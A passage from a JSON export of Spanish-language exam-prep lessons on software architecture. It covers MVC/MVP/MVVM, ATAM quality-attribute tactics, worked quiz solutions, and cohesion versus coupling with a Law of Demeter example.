Modelo/Dominio.\n- **Tener referencias de la Vista en el ViewModel:** Guardar un objeto `Button` o `Activity` dentro de un ViewModel en Android provoca fugas de memoria (Memory Leaks) fatales cuando la pantalla se destruye y rota.\n- **Creer que MVVM es siempre superior a MVC:** Para un sitio web que renderiza páginas estáticas o catálogos en el servidor, MVC tradicional es infinitamente más simple y eficiente que configurar reactividad MVVM innecesaria.\n\n## Claves para el EGEL\n- Si el reactivo enfatiza **enlace de datos bidireccional (Data Binding) o reactividad** donde el intermediario no guarda referencias a la vista: la respuesta es **MVVM**.\n- Si el reactivo enfatiza una **Vista Pasiva regulada por una interfaz estricta** para facilitar pruebas con Mocks: la respuesta es **MVP**.\n- Si describe el flujo web clásico donde un componente recibe peticiones HTTP y selecciona una plantilla visual: la respuesta es **MVC**.\n\n## Autoevaluación\nUn equipo de desarrollo móvil necesita diseñar la arquitectura de una pantalla compleja de cotizaciones bursátiles con actualizaciones de precios cada segundo. Se exige que el componente que gestiona el estado no contenga ninguna llamada a la API visual del sistema operativo para poder probarlo en JUnit y que la vista se actualice automáticamente ante cualquier cambio de valor.\n¿Qué patrón arquitectónico de presentación es el más adecuado?\nA) Monolito de dos capas sin interfaz.\nB) MVVM (Modelo-Vista-VistaModelo) aprovechando el enlace de datos reactivo y la independencia de la UI en el ViewModel.\nC) MVC tradicional de recarga de página por servidor.\nD) Modelo Entidad-Relación activo.\n\n*(Consulta la solución razonada en la lección 2.1.7).*\n\n## Puntos clave\n- MVC separa Modelo, Vista y Controlador, ideal para desarrollo web del lado del servidor.\n- MVP aísla completamente la Vista mediante interfaces pasivas manipuladas por el Presentador.\n- MVVM utiliza enlace de datos y ViewModels reactivos sin referencias a la interfaz física.\n","title":"2.1.4 Patrones de presentación e interacción: MVC, MVP y MVVM"},{"children":[],"contentMd":"# Evaluación de atributos de calidad en arquitectura: Trade-offs y tácticas arquitectónicas\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de evaluar arquitecturas de software aplicando tácticas arquitectónicas específicas para satisfacer atributos de calidad críticos (disponibilidad, rendimiento, escalabilidad, seguridad, modificabilidad y tolerancia a fallos), analizando los compromisos (trade-offs) y métodos de evaluación formal como ATAM (Architecture Tradeoff Analysis Method).\n\n## ¿Por qué importa en la práctica profesional?\nNingún sistema de software puede ser simultáneamente el más rápido, el más seguro, el más barato, el más modificable y el que nunca falla. Cada decisión arquitectónica que mejora un atributo de calidad degrada inevitablemente a otro. El método ATAM (desarrollado por el Software Engineering Institute de Carnegie Mellon) enseña que el trabajo del arquitecto no es maximizar ciegamente una cualidad, sino identificar los **puntos de sensibilidad (Sensitivity Points)** y los **puntos de compromiso (Trade-off Points)** para asegurar que el sistema sobreviva a las demandas reales del negocio.\n\n---\n\n## Catálogo de tácticas arquitectónicas por atributo de calidad\n\nUna táctica arquitectónica es una decisión de diseño concreta que influye directamente en el control de una respuesta de atributo de calidad:\n\n### 1. Tácticas para Disponibilidad y Tolerancia a Fallos (Availability \u0026 Fault Tolerance)\n- **Detección de fallos:**\n  - *Heartbeat (Latido de vida):* Señal periódica emitida por un nodo para avisar que sigue vivo. Si cesa, se declara el fallo.\n  - *Ping / Echo:* Verificación activa de respuesta de un componente externo.\n- **Recuperación ante fallos:**\n  - *Redundancia activa (Active Redundancy / Clúster Activo-Activo):* Múltiples nodos procesan tráfico simultáneamente. Si uno cae, los otros absorben la carga sin interrupción visible.\n  - *Redundancia pasiva (Active-Passive / Hot Standby):* Un nodo primario procesa; el secundario recibe réplicas de estado y toma el control (Failover) si el primario colapsa.\n  - *Rollback y transacciones compensatorias:* Revertir el estado a un punto seguro tras una falla transaccional.\n- **Prevención de fallos:**\n  - *Circuit Breaker (Disyuntor):* Cortar llamadas hacia dependencias caídas para evitar agotamiento de hilos locales.\n\n### 2. Tácticas para Rendimiento (Performance)\n- **Gestión de la demanda de recursos:**\n  - *Control de tasa de peticiones (Rate Limiting / Throttling):* Limitar cuántas peticiones por minuto puede enviar un cliente para evitar denegación de servicio.\n  - *Colas y amortiguación (Backpressure):* Encolar mensajes asíncronos para aplanar picos de demanda.\n- **Gestión del suministro de recursos:**\n  - *Caché multinivel (In-Memory Caching con Redis/Memcached):* Almacenar datos leídos frecuentemente en RAM para evitar consultas costosas a la base de datos.\n  - *Concurrencia y paralelismo:* Procesamiento multihilo o distribuido de tareas no bloqueantes.\n  - *Redes de Entrega de Contenidos (CDN):* Servir archivos estáticos y multimedia desde servidores geográficamente cercanos al usuario.\n\n### 3. Tácticas para Escalabilidad (Scalability)\n- **Escalabilidad Vertical (Scale-Up):** Añadir más CPU, memoria RAM o discos más rápidos a un mismo servidor físico. Tiene un techo técnico y un costo exponencial.\n- **Escalabilidad Horizontal (Scale-Out):** Añadir más servidores económicos en paralelo detrás de un **Balanceador de Carga (Load Balancer)**.\n- **Diseño sin estado (Stateless Services):** El servidor web no guarda sesiones de usuario en su memoria local; la sesión se guarda en una base de datos compartida o en un token JWT criptográfico. Esto permite que cualquier petición de un usuario pueda ser atendida por cualquier servidor del clúster indistintamente.\n- **Particionamiento de bases de datos (Sharding):** Dividir una base de datos gigantesca en fragmentos distribuidos (ej. clientes de la A a la M en el servidor 1; de la N a la Z en el servidor 2).\n\n### 4. Tácticas para Seguridad (Security)\n- **Resistir ataques:**\n  - *Autenticación y Autorización:* Verificar identidad (OAuth2 / OIDC) y permisos granulares (RBAC - Role-Based Access Control).\n  - *Cifrado en tránsito y en reposo:* TLS 1.3 para la red; AES-256 para bases de datos y respaldos.\n  - *Validación y saneamiento estricto de entradas:* Prevenir inyección SQL y Cross-Site Scripting (XSS).\n- **Detectar ataques:**\n  - *Sistemas de Detección de Intrusos (IDS) e inspección de anomalías de tráfico.*\n- **Recuperar:**\n  - *Bitácoras de auditoría inmutables (Audit Trails):* Registro de solo anexado para reconstruir forensemente cualquier incidente.\n\n### 5. Tácticas para Mantenibilidad y Modificabilidad (Modifiability)\n- **Reducir el acoplamiento:**\n  - *Encapsulamiento y ocultamiento de información:* Ocultar detalles de implementación tras interfaces abstractas.\n  - *Uso de intermediarios:* Brokers de eventos, gateways de API, patrones Facade y Adapter.\n- **Aumentar la cohesión:**\n  - Agrupar en el mismo módulo únicamente responsabilidades que cambian por la misma razón de negocio.\n\n---\n\n## Matriz de Trade-offs entre Atributos de Calidad\n\n| Si aumentas prioritariamente... | Obtendrás este beneficio... | Pero pagarás este costo o degradación... |\n|---|---|---|\n| **Seguridad extrema** (Cifrado continuo, 2FA en cada paso) | Máxima protección contra fraudes y ataques. | Mayor latencia en transacciones y fricción en la experiencia de usuario (Usabilidad). |\n| **Disponibilidad extrema** (Clúster activo-activo multirregión) | Tolerancia a desastres naturales y caídas de datacenters. | Enorme costo financiero de infraestructura y riesgo de inconsistencia eventual de datos. |\n| **Rendimiento mediante Caché masiva** | Tiempos de respuesta de submilisegundos. | Complejidad extrema de invalidación de caché (riesgo de mostrar datos obsoletos al cliente). |\n| **Modificabilidad mediante Microservicios desacoplados** | Equipos autónomos y despliegues independientes. | Enorme complejidad operativa en redes, monitoreo y pérdida de transacciones ACID locales. |\n\n---\n\n## El Método ATAM (Architecture Tradeoff Analysis Method)\n\nATAM es el método formal más prestigioso de la ingeniería de software para evaluar si una arquitectura propuesta cumplirá con los objetivos del negocio antes de construir el código:\n\n### Fases esenciales de ATAM:\n1. **Presentación de los objetivos del negocio:** Los directores exponen las metas comerciales prioritarias.\n2. **Presentación de la arquitectura:** El arquitecto explica los componentes, conectores y estilos elegidos.\n3. **Árbol de utilidad (Utility Tree):** Se ordenan los atributos de calidad requeridos priorizados por **Importancia para el Negocio (High/Medium/Low)** y **Dificultad Técnica para el Arquitecto (High/Medium/Low)**.\n4. **Análisis de escenarios de arquitectura:** Se somete la arquitectura a situaciones de estrés (ej. \"Cae el datacenter principal durante el cierre fiscal\").\n5. **Identificación de hallazgos críticos:**\n   - **Punto de sensibilidad (Sensitivity Point):** Un parámetro arquitectónico que afecta drásticamente a un único atributo de calidad (ej. el tamaño del pool de conexiones afecta directamente al rendimiento).\n   - **Punto de compromiso / Trade-off Point:** Una decisión que afecta a dos o más atributos de calidad en direcciones opuestas (ej. agregar cifrado TLS mejora la seguridad pero degrada el rendimiento temporal).\n   - **Riesgo arquitectónico (Risk):** Una decisión de diseño que puede provocar consecuencias catastróficas no deseadas.\n   - **No-Riesgo (Non-Risk):** Una decisión sólida y fundamentada que garantiza el atributo deseado.\n\n## Escenario de decisión profesional: El sistema de votación electrónica nacional\nEl Instituto Electoral diseña el sistema de votación digital. Dos requerimientos colisionan:\n- **Requerimiento 1 (Anonimato y Confidencialidad):** Nadie debe poder saber por quién votó un ciudadano específico (Seguridad/Privacidad).\n- **Requerimiento 2 (Auditabilidad y Verificabilidad):** Todo ciudadano debe poder comprobar que su voto fue contabilizado correctamente y el sistema debe resistir recuentos forenses contra fraude (Integridad/Transparencia).\n\n**Análisis de compensaciones arquitectónicas:**\n- Un sistema puramente anónimo (sin identificadores) imposibilita al ciudadano auditar si su voto fue alterado en la base de datos.\n- Un sistema con trazabilidad directa (asociando CURP con el candidato votado) destruye el secreto del voto democrático y permite la coacción del voto.\n- **Solución arquitectónica (Trade-off Point):** Criptografía de clave pública con **firmas a ciegas (Blind Signatures) y tokens criptográficos disociados**. El sistema emite un recibo criptográfico que certifica que el token anónimo fue depositado en la urna digital, desacoplando la identidad del ciudadano del sentido de su voto pero garantizando la auditabilidad matemática de la elección.\n\n## Claves para el EGEL\n- En ATAM, un **punto de compromiso (Trade-off point)** es una decisión de diseño que beneficia a un atributo de calidad mientras perjudica a otro.\n- Para lograr **alta disponibilidad sin tiempo de inactividad**, la táctica por excelencia es la **redundancia activa (clúster activo-activo)**.\n- Para lograr **escalabilidad horizontal elástica**, los servicios deben diseñarse **sin estado (Stateless)**.\n\n## Autoevaluación\nDurante una sesión de evaluación arquitectónica ATAM, el equipo debate si implementar un mecanismo de compresión de datos antes de transmitirlos por red. La compresión reduce a la mitad el consumo de ancho de banda, pero aumenta el consumo de CPU en un 25% en los servidores.\n¿Cómo clasifica formalmente ATAM esta decisión de diseño?\nA) Como un defecto de sintaxis del código.\nB) Como un punto de compromiso (Trade-off point) entre rendimiento de red y utilización de recursos de cómputo.\nC) Como un riesgo de negocio inaceptable que debe cancelarse de inmediato.\nD) Como una falla de verificación de requerimientos.\n\n*(Consulta la solución razonada en la lección 2.1.7).*\n\n## Puntos clave\n- Los atributos de calidad compiten entre sí por recursos del sistema.\n- ATAM identifica riesgos, puntos de sensibilidad y puntos de compromiso antes de escribir código.\n- Las tácticas arquitectónicas son las recetas de diseño concretas para materializar los atributos de calidad.\n","title":"2.1.5 Evaluación de atributos de calidad y tácticas arquitectónicas (ATAM)"},{"children":[],"contentMd":"# Repaso y consolidación: Subárea 2.1 — Diseño arquitectónico de software\n\n## Mapa mental conceptual\n\n```text\n                     DISEÑO ARQUITECTÓNICO DE SOFTWARE (2.1)\n                                        │\n     ┌───────────────────────┬──────────┴────────────┬────────────────────────┐\n     │                       │                       │                        │\nFUNDAMENTOS Y ADRs        ESTILOS Y ESTRUCTURAS   PATRONES DE PRESENTACIÓN TÁCTICAS Y ATAM\n ├─ Decisiones de alto    ├─ Monolito Modular     ├─ MVC (Web / Servidor)  ├─ Disponibilidad (Heartbeat,\n │  costo de cambio       ├─ Capas tradicionales  ├─ MVP (Vista Pasiva)    │  Redundancia activa)\n ├─ Componentes/Conectores├─ Hexagonal (Clean/    ├─ MVVM (Data Binding,   ├─ Rendimiento (Caché, CDN)\n ├─ Architectural Drivers │  Ports and Adapters)  │  ViewModel reactivo)   ├─ Escalabilidad (Stateless)\n └─ Estructura ADR        ├─ Microservicios                                ├─ Resiliencia (Circuit Breaker)\n    (Contexto/Decisión/   ├─ Event-Driven (EDA)                            └─ ATAM (Puntos de sensibilidad\n     Consecuencias)       └─ Resiliencia (Saga,                             y puntos de trade-off)\n                             Circuit Breaker)\n```\n\n## Tabla maestra de decisiones arquitectónicas para el EGEL\n\n| Si el escenario profesional demanda... | La mejor alternativa arquitectónica es... | Por qué... |\n|---|---|---|\n| Equipo pequeño, dominio naciente, presupuesto limitado y necesidad de salir a producción rápido | **Monolito Modular** | Cero complejidad de red, despliegue unificado y bajo costo de mantenimiento. |\n| Núcleo de negocio complejo y longevo que debe sobrevivir a cambios de BD y UI | **Arquitectura Hexagonal (Ports \u0026 Adapters)** | El dominio es puro y no depende de frameworks ni de infraestructura externa. |\n| Múltiples equipos autónomos trabajando en partes distintas que escalan de forma heterogénea | **Microservicios (Database per service)** | Despliegues independientes y persistencia políglota a cambio de mayor complejidad operativa. |\n| Picos masivos de tráfico que saturan servidores síncronos (Buen Fin, conciertos) | **Arquitectura Dirigida por Eventos (EDA)** | Desacoplamiento temporal mediante colas/brokers (Kafka, RabbitMQ) que absorben la carga. |\n| Evitar que el fallo de un servicio externo caiga todo el sistema | **Patrón Circuit Breaker** | Corta llamadas salientes fallidas y retorna respuesta alternativa (Fallback) de inmediato. |\n| Transacción de negocio que cruza múltiples microservicios | **Patrón Saga** | Secuencia de transacciones locales coordinadas con transacciones de compensación ante fallos. |\n| App móvil con rediseños visuales frecuentes y necesidad de testeo unitario de la UI | **Patrón MVVM con Data Binding** | El ViewModel maneja el estado sin referencias a componentes gráficos del sistema operativo. |\n| Evaluar formalmente riesgos y compensaciones de arquitectura antes de codificar | **Método ATAM** | Identifica puntos de sensibilidad y trade-offs entre atributos de calidad en conflicto. |\n\n## Confusiones frecuentes: Desmitificación rápida\n\n1. **\"Microservicios es sinónimo de modernidad y monolito de atraso\":**\n   - *Falso:* Empresas de clase mundial (como Shopify, GitHub o Stack Overflow) operan monolitos gigantescos altamente eficientes. Los microservicios solo se justifican cuando el tamaño del equipo o la escala técnica lo hacen estrictamente necesario.\n2. **\"En arquitectura hexagonal no se usan bases de datos\":**\n   - *Falso:* Se usan bases de datos, pero la base de datos es tratada como un detalle periférico secundario (un adaptador que implementa un puerto), no como el centro del diseño.\n3. **\"Un servicio sin estado (Stateless) no guarda datos\":**\n   - *Falso:* Guarda datos en una base de datos o caché externa; lo que no hace es retener el estado de la sesión en la memoria RAM del servidor web que atiende la petición.\n\n## Checklist de dominio profesional\n- [ ] Sé estructurar un ADR identificando contexto, decisión, ventajas y consecuencias negativas.\n- [ ] Puedo dibujar y explicar la regla de dependencia de la arquitectura hexagonal con puertos de entrada y salida.\n- [ ] Conozco las ventajas y desventajas reales de migrar de monolito a microservicios.\n- [ ] Sé cómo opera un Circuit Breaker en sus tres estados (Closed, Open, Half-Open).\n- [ ] Puedo diferenciar MVC, MVP y MVVM según la relación entre el intermediario y la Vista.\n- [ ] Entiendo qué es un punto de compromiso (Trade-off point) en el método de evaluación ATAM.\n\n## Minicaso integrador de práctica\n**Escenario:** Una compañía de logística de paquetería rastrea 50,000 camiones en tiempo real. Cada camión envía sus coordenadas GPS cada 5 segundos mediante un dispositivo telemático. El sistema actual colapsa porque intenta guardar cada coordenada directamente en una tabla relacional de MySQL mediante peticiones HTTP síncronas.\n**Pregunta de reflexión:** ¿Qué cambios arquitectónicos propondrías para resolver este cuello de botella sin perder datos de los camiones? (Revisa tu enfoque: Protocolo ligero como MQTT/gRPC hacia un broker de eventos asíncrono como Kafka que absorba las 10,000 coordenadas por segundo en streaming, persistiendo en una base de datos optimizada para series temporales como TimescaleDB o Cassandra, desacoplando la ingestión del almacenamiento).\n","title":"2.1.6 Repaso integral y síntesis: Subárea 2.1"},{"children":[],"contentMd":"# Soluciones razonadas: Autoevaluaciones de la Subárea 2.1\n\nEn esta lección se desglosan las respuestas correctas y los distractores de las autoevaluaciones planteadas a lo largo de la subárea 2.1.\n\n---\n\n### Solución a la autoevaluación 2.1.1 (Fundamentos y ADRs)\n**Pregunta:** Un arquitecto reemplaza llamadas REST síncronas por una cola de mensajería asíncrona mediante RabbitMQ entre facturación e inventario. ¿Cuál es la principal ventaja y la principal desventaja arquitectónica?\n\n- **Opción correcta: B** (Ventaja: desacopla temporalmente los servicios aumentando la tolerancia a fallos y la disponibilidad; Desventaja: introduce consistencia eventual y mayor complejidad en el monitoreo y manejo de errores distribuidos).\n- **Argumentación técnica:** La asincronía elimina el bloqueo temporal: el servicio emisor publica el mensaje y puede seguir operando aunque el receptor esté caído momentáneamente (alta disponibilidad). Sin embargo, el costo inevitable de este desacoplamiento es la pérdida de consistencia inmediata (el inventario no se actualiza en el mismo milisegundo) y la necesidad de herramientas complejas para rastrear mensajes perdidos o reintentos (Dead Letter Queues).\n- **Por qué fallan los distractores:**\n  - La opción A dice que elimina la base de datos, lo cual es falso (los datos siguen guardándose).\n  - La opción C y D inventan limitaciones lingüísticas o supuestas inmunidades a ciberataques sin fundamento técnico.\n\n---\n\n### Solución a la autoevaluación 2.1.2 (Estilos monolíticos y arquitectura limpia)\n**Pregunta:** Una empresa financiera exige que las reglas de fraude puedan probarse en JUnit en milisegundos sin bases de datos y que cambiar de BD relacional a NoSQL no requiera reescribir la lógica de negocio. ¿Qué estilo arquitectónico y qué mecanismo satisfacen esto?\n\n- **Opción correcta: B** (Arquitectura Hexagonal: Ports and Adapters, desacoplando la persistencia mediante interfaces de puertos de salida en el dominio).\n- **Argumentación técnica:** La arquitectura hexagonal coloca el dominio y las reglas de negocio en el centro, aisladas de cualquier dependencia tecnológica externa. El acceso a datos se define mediante interfaces (Puertos de salida) que residen en el propio dominio. La base de datos concreta es un Adaptador que implementa dicha interfaz. Para las pruebas unitarias en JUnit, basta con pasar un adaptador mock en memoria; si se cambia de motor de base de datos en producción, solo se escribe un nuevo adaptador sin alterar una sola línea del dominio.\n- **Por qué fallan los distractores:**\n  - La opción A acopla la lógica directamente al motor SQL, violando el aislamiento.\n  - Las opciones C y D proponen antipatrones (procedimientos almacenados o triggers) que amarran la lógica al motor de base de datos e imposibilitan pruebas unitarias aisladas en JUnit.\n\n---\n\n### Solución a la autoevaluación 2.1.3 (Arquitecturas distribuidas y resiliencia)\n**Pregunta:** En un sistema de reservaciones que involucra pago, aerolínea y puntos en tres microservicios distintos, si el asiento falla se debe devolver el dinero. ¿Qué patrón es el estándar para gestionar esta transacción distribuida?\n\n- **Opción correcta: B** (Patrón Saga coordinado mediante transacciones locales y transacciones de compensación ante fallos).\n- **Argumentación técnica:** En microservicios, cada servicio tiene su propia base de datos, por lo que las transacciones ACID locales no pueden abarcar múltiples servicios. El patrón Saga gestiona transacciones distribuidas ejecutando transacciones locales secuenciales; si alguna falla a mitad del camino, la Saga dispara transacciones de compensación (reembolsar tarjeta, liberar asientos) para restaurar la consistencia eventual del sistema.\n- **Por qué fallan los distractores:**\n  - La opción A (2PC / Two-Phase Commit) es un antipatrón en redes distribuidas modernas porque bloquea recursos de red, es extremadamente lenta y vulnerable a caídas de nodos coordinadores.\n  - Las opciones C y D no resuelven la transacción distribuida entre múltiples servidores autónomos.\n\n---\n\n### Solución a la autoevaluación 2.1.4 (Patrones de presentación)\n**Pregunta:** En una pantalla de cotizaciones bursátiles con actualizaciones continuas, se exige que el componente de estado no tenga llamadas a APIs visuales del SO para probarlo en JUnit y que la vista se actualice automáticamente. ¿Qué patrón es el más adecuado?\n\n- **Opción correcta: B** (MVVM: Modelo-Vista-VistaModelo, aprovechando el enlace de datos reactivo y la independencia de la UI en el ViewModel).\n- **Argumentación técnica:** El ViewModel en MVVM está completamente desvinculado de las clases gráficas de la UI (`Activity`, `Widget`, `View`), lo que permite instanciarlo y probarlo en pruebas unitarias veloces en la JVM. Además, el mecanismo de enlace de datos (Data Binding o flujos reactivos como StateFlow/Observables) propaga los cambios de precio automáticamente hacia la vista sin que el desarrollador tenga que escribir código de actualización imperativo.\n- **Por qué fallan los distractores:**\n  - La opción A omite la separación de responsabilidades.\n  - La opción C (MVC de recarga por servidor) es inviable para interfaces bursátiles reactivas que cambian cada segundo en tiempo real.\n  - La opción D confunde un modelo de base de datos con un patrón de arquitectura de interfaces.\n\n---\n\n### Solución a la autoevaluación 2.1.5 (Tácticas y ATAM)\n**Pregunta:** En una sesión ATAM, comprimir datos reduce a la mitad el ancho de banda pero aumenta la CPU en un 25%. ¿Cómo clasifica formalmente ATAM esta decisión?\n\n- **Opción correcta: B** (Como un punto de compromiso: Trade-off point, entre rendimiento de red y utilización de recursos de cómputo).\n- **Argumentación técnica:** Por definición formal en el método ATAM del Software Engineering Institute, un **Punto de Compromiso (Trade-off point)** es una decisión arquitectónica que afecta positivamente a un atributo de calidad (en este caso, eficiencia en el consumo de ancho de banda de red) mientras afecta negativamente a otro atributo de calidad (en este caso, consumo y disponibilidad de CPU del servidor).\n- **Por qué fallan los distractores:**\n  - La opción A confunde una decisión arquitectónica con un error de compilación.\n  - La opción C califica como riesgo fatal lo que es una compensación técnica estándar y predecible.\n  - La opción D confunde el diseño arquitectónico con la verificación de requerimientos.\n","title":"2.1.7 Soluciones razonadas y análisis de distractores: Subárea 2.1"}],"contentMd":"","title":"2.1 Arquitectura de software"},{"children":[{"children":[],"contentMd":"# Modularidad, responsabilidades y métricas de diseño: Cohesión vs Acoplamiento\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de evaluar la modularidad de un diseño de software, clasificando y distinguiendo todos los niveles de cohesión (desde coincidente hasta funcional) y acoplamiento (desde contenido hasta de datos), aplicando principios de abstracción, encapsulamiento y la Ley de Demeter para maximizar la mantenibilidad y reusabilidad del código.\n\n## ¿Por qué importa en la práctica profesional?\nLos dos conceptos más influyentes en toda la historia de la ingeniería de software para medir la calidad interna del diseño son la **Cohesión** y el **Acoplamiento** (formulados por Larry Constantine y Edward Yourdon en los años 70). Un sistema con bajo acoplamiento y alta cohesión permite que un programador modifique una clase de facturación sin temor a romper el inventario o la interfaz de usuario. Por el contrario, un sistema con alto acoplamiento convierte el mantenimiento en un campo minado donde tocar una línea de código causa 15 errores en módulos no relacionados.\n\n---\n\n## 1. Cohesión: La fuerza interna del módulo\nLa cohesión mide el **grado en que los elementos internos de un módulo (métodos, funciones, variables) pertenecen juntos y colaboran hacia un único propósito bien definido**.\n\n\u003e *Regla de diseño:* Se debe buscar siempre la **MÁXIMA COHESIÓN POSIBLE** (idealmente Cohesión Funcional).\n\n### Espectro de niveles de cohesión (De peor a mejor):\n\n1. **Cohesión Coincidental (Peor nivel - Inaceptable):**\n   - Los elementos están agrupados por pura casualidad o conveniencia sin ninguna relación conceptual.\n   - *Ejemplo típico de antipatrón:* La infame clase `Utilidades.java` o `Helpers.cs`, que contiene juntos: `calcularRFC()`, `imprimirTicket()`, `enviarCorreo()` y `convertirHexadecimal()`.\n2. **Cohesión Lógica:**\n   - Los elementos realizan operaciones de la misma categoría general, pero el comportamiento exacto se decide mediante una bandera o parámetro selector.\n   - *Ejemplo:* Un método `procesarOperacion(int tipo, Object datos)` con un `switch(tipo)` de 500 líneas que hace cosas completamente distintas según el número recibido.\n3. **Cohesión Temporal:**\n   - Los elementos se agrupan únicamente porque se ejecutan en el mismo momento del tiempo durante el ciclo de vida del programa.\n   - *Ejemplo:* Un método `iniciarSistema()` que inicializa la conexión a base de datos, lee un archivo de configuración, borra archivos temporales y muestra la pantalla de login.\n4. **Cohesión Procedimental:**\n   - Los elementos se agrupan porque deben ejecutarse en un orden secuencial estricto, aunque manipulan datos diferentes.\n   - *Ejemplo:* `validarPermisosYluegoCalcularRuta()`.\n5. **Cohesión Comunicacional:**\n   - Los métodos operan sobre el **mismo conjunto de datos de entrada o salida**, aunque realizan acciones no relacionadas entre sí.\n   - *Ejemplo:* Un módulo que recibe un `ReporteDeVentas` y contiene `calcularVarianza(Reporte)` e `imprimirGraficaEnPapel(Reporte)`.\n6. **Cohesión Secuencial:**\n   - La salida de un elemento sirve como entrada directa obligatoria del siguiente elemento (estilo tubería / pipeline).\n   - *Ejemplo:* `leerArchivoCSV() ──\u003e parsearRegistros() ──\u003e generarEstructurasEnMemoria()`.\n7. **Cohesión Funcional (El ideal de diseño - Nivel superior):**\n   - Todos los elementos del módulo o clase colaboran estrechamente para ejecutar **una única tarea bien delimitada del dominio**.\n   - *Ejemplo:* Una clase `CalculadorInteresesPrestamo` cuya única responsabilidad es calcular el interés compuesto de una cuenta según la tabla actuarial.\n\n---\n\n## 2. Acoplamiento: La dependencia externa entre módulos\nEl acoplamiento mide la **fuerza de la interdependencia y el conocimiento íntimo que un módulo tiene sobre otro**.\n\n\u003e *Regla de diseño:* Se debe buscar siempre el **MÍNIMO ACOPLAMIENTO POSIBLE** (idealmente Acoplamiento de Datos o Sin Acoplamiento).\n\n### Espectro de niveles de acoplamiento (De peor a mejor):\n\n1. **Acoplamiento de Contenido / Patológico (Peor nivel - Intolerable):**\n   - Un módulo modifica o accede directamente a los datos privados o al flujo interno de otro módulo sin pasar por su interfaz pública.\n   - *Ejemplo:* La clase A modifica variables privadas de la clase B mediante reflexión en tiempo de ejecución o acceso directo a punteros de memoria.\n2. **Acoplamiento Común (Global):**\n   - Múltiples módulos leen y escriben sobre la **misma variable global** o estructura de datos global compartida en memoria.\n   - *Peligro:* Si el módulo A cambia el valor de la variable global, el módulo B falla de forma impredecible y es imposible depurar quién corrompió el dato.\n3. **Acoplamiento de Control:**\n   - Un módulo le pasa a otro una bandera booleana o código de control para ordenarle qué camino de ejecución interno debe tomar.\n   - *Ejemplo:* `calcularSalario(empleado, boolean esGerente)`. El módulo llamador conoce e invade la lógica interna del módulo llamado.\n4. **Acoplamiento de Estructura / Estampado (Stamp Coupling):**\n   - Dos módulos comparten una estructura de datos compuesta muy grande (ej. un objeto `Empleado` con 40 campos), pero el módulo llamado solo necesita 2 campos (ej. el RFC).\n   - *Peligro:* Si la estructura cambia, el módulo llamado se ve forzado a recompilarse aunque no use los campos modificados.\n5. **Acoplamiento de Datos (El ideal de diseño):**\n   - Los módulos se comunican exclusivamente pasándose parámetros atómicos e independientes estrictamente necesarios (ej. `calcularDistancia(float lat1, float lon1, float lat2, float lon2)`).\n6. **Desacoplamiento mediante Mensajes / Interfaces (Cero acoplamiento directo):**\n   - Los módulos interactúan a través de contratos abstractos (interfaces o eventos) sin saber qué clase concreta está del otro lado.\n\n---\n\n## Principios para mantener bajo acoplamiento y alta cohesión\n\n### Encapsulamiento y Ocultamiento de Información (Information Hiding)\nFormulado por David Parnas: Un módulo debe ocultar a todos los demás su decisión de diseño más secreta o susceptible de cambiar (estructuras de datos internas, algoritmos de ordenamiento, librerías periféricas). Solo expone métodos públicos estables.\n\n### La Ley de Demeter (Principio del Menor Conocimiento - Law of Demeter)\nEstablece que un método `M` de un objeto `A` solo debe invocar métodos de:\n1. El propio objeto `A`.\n2. Los objetos pasados como parámetros en `M`.\n3. Cualquier objeto creado o instanciado dentro de `M`.\n4. Los atributos directos de `A`.\n\n**El antipatrón del \"código tren\" (Train Wreck):**\n```java\n// ❌ VIOLACIÓN FLAGRANTE DE LA LEY DE DEMETER (Alto acoplamiento estructural)\nString ciudad = cliente.getDireccion().getCiudad().getNombre().toUpperCase();\n\n// ✔ RESPETANDO DEMETER (Bajo acoplamiento - Delegación encapsulada)\nString ciudad = cliente.getCiudadNombre();\n```\nSi la estructura de `Direccion` cambia mañana, la primera línea se rompe; en la segunda, solo el `Cliente` sabe cómo maneja internamente su dirección.\n\n---\n\n## Tabla comparativa: Cohesión vs Acoplamiento\n\n| Aspecto | Cohesión | Acoplamiento |\n|---|---|---|\n| **Dirección de la mirada** | Hacia **ADENTRO** del módulo (relación interna). | Hacia **AFUERA** del módulo (relación con otros). |\n| **Meta de diseño** | **Alta** (Maximizar). | **Baja** (Minimizar). |\n| **Pregunta clave** | ¿Hacen estos métodos una sola cosa enfocada? | ¿Cuánto sabe este módulo sobre los detalles de sus vecinos? |\n| **Efecto de un mal diseño** | Clases \"monstruo\" (God Classes) con miles de líneas desordenadas. | Efecto dominó: un cambio en A rompe B, C, D y E. |\n| **Impacto en pruebas** | Fácil de probar si es alta; imposible si es baja. | Fácil de probar con mocks si es bajo; imposible si es alto. |\n\n## Escenario de decisión profesional: El refactor de la clase \"FacturaService\"\nUn analista inspecciona una clase de 2,800 líneas llamada `FacturaService`. Al revisar sus métodos encuentra:\n- `generarFacturaXML()`\n- `firmarConCertificadoDigital()`\n- `enviarFacturaPorCorreoSMTP()`\n- `calcularSueldoDeCajeros()`\n- `generarPDF()`\n- `respaldarBaseDeDatosEnCinta()`\n\n**Diagnóstico de ingeniería:**\n- La clase sufre de **Cohesión Coincidental y Lógica** (es una \"God Class\"). Contiene responsabilidades fiscales, criptográficas, de red, de recursos humanos y de administración de infraestructura.\n- Además tiene **Acoplamiento Común**, pues todos los métodos leen una variable estática global `ConfiguracionGlobal.dbConnection`.\n\n**Solución de diseño y refactorización:**\nDescomponer la clase en 5 componentes con **Cohesión Funcional** y **Acoplamiento de Datos mediante interfaces**:\n1. `FacturaFiscalGenerator`: Construye la estructura XML fiscal.\n2. `DigitalSignatureService`: Firma criptográficamente hashes de datos.\n3. `InvoiceEmailNotifier`: Se conecta al servidor SMTP mediante una interfaz `IEmailSender`.\n4. `PayrollService`: Se traslada al módulo de Recursos Humanos al que siempre debió pertenecer.\n5. `DatabaseBackupJob`: Se traslada a los scripts de infraestructura operativa.\n\n## Errores y confusiones frecuentes\n\n- **Creer que \"más clases\" significa siempre mejor modularidad:** Crear 200 micro-clases de dos líneas cada una sin fronteras claras aumenta el acoplamiento general y la confusión mental sin aportar cohesión funcional real.\n- **Tolerar clases \"Manager\" o \"Utils\" sin control:** Permitir que los programadores arrojen cualquier método huérfano en `CommonUtils`. Cada método debe pertenecer al objeto cuyo estado manipula.\n- **Confundir acoplamiento con colaboración:** Los objetos *deben* colaborar para resolver problemas complejos. El objetivo no es el aislamiento autista de las clases, sino que colaboren a través de **interfaces abstractas y contratos estables**.\n\n## Claves para el EGEL\n- **Regla mnemotécnica para recordar los 